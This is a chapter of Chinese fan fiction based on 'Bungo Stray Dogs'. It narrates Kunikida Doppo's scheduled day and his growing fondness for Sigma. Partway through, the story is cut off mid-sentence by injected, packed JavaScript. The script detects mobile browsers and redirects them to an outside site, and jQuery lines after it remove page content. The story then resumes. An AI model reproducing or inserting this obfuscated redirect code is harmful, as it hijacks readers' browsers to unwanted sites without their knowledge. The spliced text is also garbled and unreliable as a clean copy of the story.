42.日程(国木田独步篇)
作品:《[文野]记忆碎片》 国木田独步的日程记录。
6:20 - 7:00 | 晨间准备
国木田独步在闹钟响彻前一刻睁开眼。
他利落地起身,洗漱,随后系上围裙开始准备早餐。
平底锅中的培根煎至微焦,两颗单面太阳蛋的边缘泛着完美的金黄酥脆。
两片全麦吐司从烤面包机中弹出,散发谷物香气。
国木田独步将食物整齐码放在白瓷盘中,配以刀叉。
用餐时,他再次核对手边的“理想手册”:今日条目清晰,时间精确到分。
7:00 - 7:40 | 独自通勤
七点整,国木田独步锁好公寓门,踏入清晨的街道。
他步履沉稳,利用这段步行时间,在脑海中预演今日的工作流程,并留意着街面情况。
这是侦探社成员的职业习惯。
周遭是规律通勤的人流与车辆,一切都在他既定的认知轨道上运行。
7:40 - 7:55 | 漩涡咖啡店惯例
他准时踏入漩涡咖啡店。
点单美式咖啡,不加糖奶。
在靠窗的固定位置坐下,他一边啜饮咖啡,一边快速浏览早间新闻简报,并在手册边缘补充记录下几个可能需要侦探社留意的潜在事件要点。
这十五分钟是喧嚣工作日前,一段独属的高效缓冲。
8:00 | 抵达侦探社
八点整,国木田独步推开武装侦探社的门。
室内已有同事到达,空气里弥漫着刚泡好咖啡的香气。
他径直走向自己的办公桌,准备开始工作。
就在这时,门口传来熟悉的、过于轻快的脚步声与另一道更平稳的足音。
太宰治走了进来,跟在他身后的是西格玛。
国木田独步的目光下意识地抬起,随即在那道身影上停顿了一瞬。
西格玛今天将长发编成了一条精致的侧辫,发丝间巧妙地缠绕着一根浅灰与薄荷绿交织的细发带,为她素来典雅的气质添了几分清新。
他迅速收回视线,掩饰性地推了推眼镜,朝她所在的方向颔首,语气如常地开口:“早上好,西格玛。”
选择性地略过了正扬起手、显然也要打招呼的太宰治。
“国木田先生,早上好。”西格玛微笑回应。
“诶——国木田君好过分!明明是我先进来的,居然只跟西格玛打招呼,完全无视了身为搭档的我!”
太宰治立刻凑到国木田独步桌边,拖长语调,脸上写满了做作的委屈,“难道说,在你严谨的计划里,我已经被归为‘无需问候的无效背景物’了吗?”
国木田独步额角青筋微跳,手中正在取出的钢笔顿了顿。
他试图将注意力强行拉回摊开的笔记本上,但太宰治不依不饶地趴在桌沿,继续发表着关于“搭档爱消亡论”的夸张演说。
“闭嘴,太宰!”忍耐抵达临界点,国木田独步终于忍无可忍,
一记精准的正义之拳让办公区域恢复了短暂的、应有的秩序。
他深吸一口气,扶正被打歪的眼镜,仿佛无事发生般,翻开文件,开始投入工作。
8:10 - 12:00 | 上午工作时程
国木田独步首先向社长福泽谕吉简单报告了今日计划,随后开始处理文件:委托报告复核、本月经费预算调整、与军警联络的文书草拟。
他的办公桌井然有序,每份文件都按优先级与完成状态分层放置。
期间,他数次起身维持秩序:制止太宰治试图用订书机制作“空中蟹肉罐头号”模型。
提醒谷崎润一郎外出调查的预约时间,为直美送来的联合签字文件确认细节。
他的视线也会偶尔、极其克制地掠过公共办公区。
西格玛正在认真整理一批旧档案,侧辫随着她低头书写的动作轻轻滑落肩头。
她似乎对某个分类感到困惑,微微蹙眉思考。
国木田独步几乎要起身过去,但见她已转向太宰治低声询问,便收回已微微离椅的身体,重新专注于屏幕上的表格。
他推了推眼镜,笔尖在纸上无意识地顿了一下。
12:00 - 13:00 | 午间休憩
午休钟点,国木田独步食用自制的便当。营养均衡,分量精确。
他边吃边审阅下午需陪同新人外出实训的路线规划。
侦探社内气氛松弛,西格玛与泉镜花坐在沙发一角分享午餐,似乎便当里有什么有趣的食物,西格玛对泉镜花说了什么,随后轻轻笑了起来。
国木田独步咀嚼的动作慢了半拍。
那笑容很浅,却让她整张脸显得明亮柔和。
他立刻低头,用力扶正眼镜,仿佛便当盒里的米饭排列需要极度专注的检视。
太宰治不知何时溜到他身后,幽幽道:“国木田君,你的耳朵好像比煎熟的培根还要红哦,是今天的便当里加了特殊的辣椒吗——”
“砰!”又一记修正拳。
世界清净了。
国木田独步冷静地合上空便当盒。
13:00 - 18:00 | 下午勤务与监督
下午是指导新人进行基础情报搜集演练。国木田独步一丝不苟地讲解、示范、设定安全边界。
过程中,他至少三次用拳头制止了太宰治以“协助实训”为名企图溜去附近河流的举动。
回到社内后,他撰写实训报告,同时监听太宰治是否在制造异常动静,并间歇性解答西格玛关于档案编码系统的疑问。
每次解答时,他都站得笔直,目光严谨地落在文件或屏幕上,用最专业简洁的语言说明。
然而,当她理解点头,低声说“明白了,谢谢国木田先生”时,他总能感觉到一种轻微、陌生的、需要立刻用咳嗽或转身拿资料来掩饰的局促。
18:00 | 下班时刻
时钟指向六点,国木田独步完成了计划表上最后一项待办。
他整理桌面,将钢笔与“理想手册”放入公文包固定位置。
太宰治已精神焕发地等在门口。
西格玛拿起外套和提包,走向门口时,目光与国木田独步相遇。
“国木田先生,辛苦了。我们先走了,再见。”她礼貌道别。
太宰治挥挥手:“明天见啦,认真的国木田君~”
国木田独步下意识站直,朝西格玛点了点头:“……再见。路上小心。”
再次过滤了无关音波。
门轻轻合上。
18:10 | 短暂的复盘与未解的困惑
国木田独步独自坐在办公桌前,打开了“理想手册”。
他逐项检视:时间无误,任务全部完成,突发事件处理效率在可接受范围。
一切似乎都完美符合理想。
但,某种极其细微的滞涩感,在合上手账的瞬间掠过心头。
好像有什么东西……被遗漏了?
并非工作上的疏漏,而是某种……观察层面的、无关紧要却又隐约牵动神经的细节。
他重新翻开手册,目光扫过一行行整齐的字迹,试
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17216535|197107||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
图找出那不对劲的源头,却一无所获。
逻辑无法捕捉那飘忽的感觉。
他皱了皱眉,最终决定暂且搁置。计划中的下一项是采购,不应在此无谓拖延。
18:40 | 超市采购
按照手册列表,他在常去的超市购买了牛奶和鸡蛋。
挑选商品、核对价格、排队结账,每个动作都标准而高效。
然而,在规律的机械操作间隙,那个关于手册需要“修改什么”的疑问,依旧像背景音一样隐隐回响。
他推着购物车,目光掠过货架,思绪却偶尔飘回侦探社的某个角落,试图捕捉那一闪而过的、需要被记录的光影。
19:30 | 晚餐准备与用餐
回到公寓,国木田独步系上围裙,开始准备晚餐。
食谱是上周日规划好的:香煎三文鱼,搭配水煮西兰花和杂粮饭。
烹饪过程精准无误,食物味道也符合预期。
他坐在餐桌前安静用餐,咀嚼的节奏稳定。
窗外的夜色逐渐弥漫进来,室内只开了一盏暖光灯。
那份莫名的、关于记录的困惑,在独处的安静中似乎变得更加清晰,却也更加难以捉摸。
20:00 | 准备明日物资
清洗完餐具后,他着手准备第二天需要的东西:检查西装是否熨烫平整,补充公文包内的备用文具,将明天晨间要看的资料放在玄关柜上。
这些例行公事般的行为暂时占据了思绪,但当他完成一切,坐在书桌前稍作休息时,那份空缺感又悄然浮现。
21:00 | 沐浴与持续思考
热水冲刷掉一天的疲惫,也让思维变得更加清晰。
国木田独步闭着眼,任由水柱落下,脑海里像放电影一样回顾今日的每一个片段:从清晨煎蛋的油香,到咖啡店的新闻摘要,再到侦探社里此起彼伏的喧闹。
……太宰的捣乱、文件的处理、新人的指导……以及,那些偶然间映入眼帘的、与工作计划全然无关的画面。
比如,一丝浅绿与灰交织的颜色,在专注的侧脸旁轻轻晃动。
他擦干头发,换上睡衣。
问题依旧没有答案,但那个色彩的画面却似乎越来越频繁地闪现。
21:50 | 睡前时刻与最终的记录
几乎到了手册上规定的就寝时间。国木田独步坐在书桌前,最后一次翻开那本“理想手册”。
他并不习惯带着未解的疑问入睡,那意味着计划的不完美。
他的目光落在今日的日期页上,空白的右下角仿佛在无声地提醒着什么。
那些清晰的、已被记录的工作条目旁边,似乎缺了一小块拼图。
然后,他忽然明白了。
那并非工作疏漏,也非计划错误。而是一个纯粹的、客观的观察事实,一个存在于今日时空之中的、值得被记录的“现象”。
它不干扰任何计划,却真实地构成了“今天”的一部分。
他拿起钢笔,吸墨均匀,笔尖稳稳落在纸张的空白处。
这一次,没有任何犹豫:
【补充观察项:西格玛今日所用的发绳(灰绿交织纹样),与制服搭配协调,视觉效果良好。 】
写下这行字后,那困扰他数小时的滞涩感瞬间消散。
逻辑得到了安抚,观察完成了闭环。
他凝视这行新添的、与其他条目同样工整的笔记两秒,轻轻合上手册,将其放入抽屉锁好。
关灯,躺下。
一天,至此真正结束。

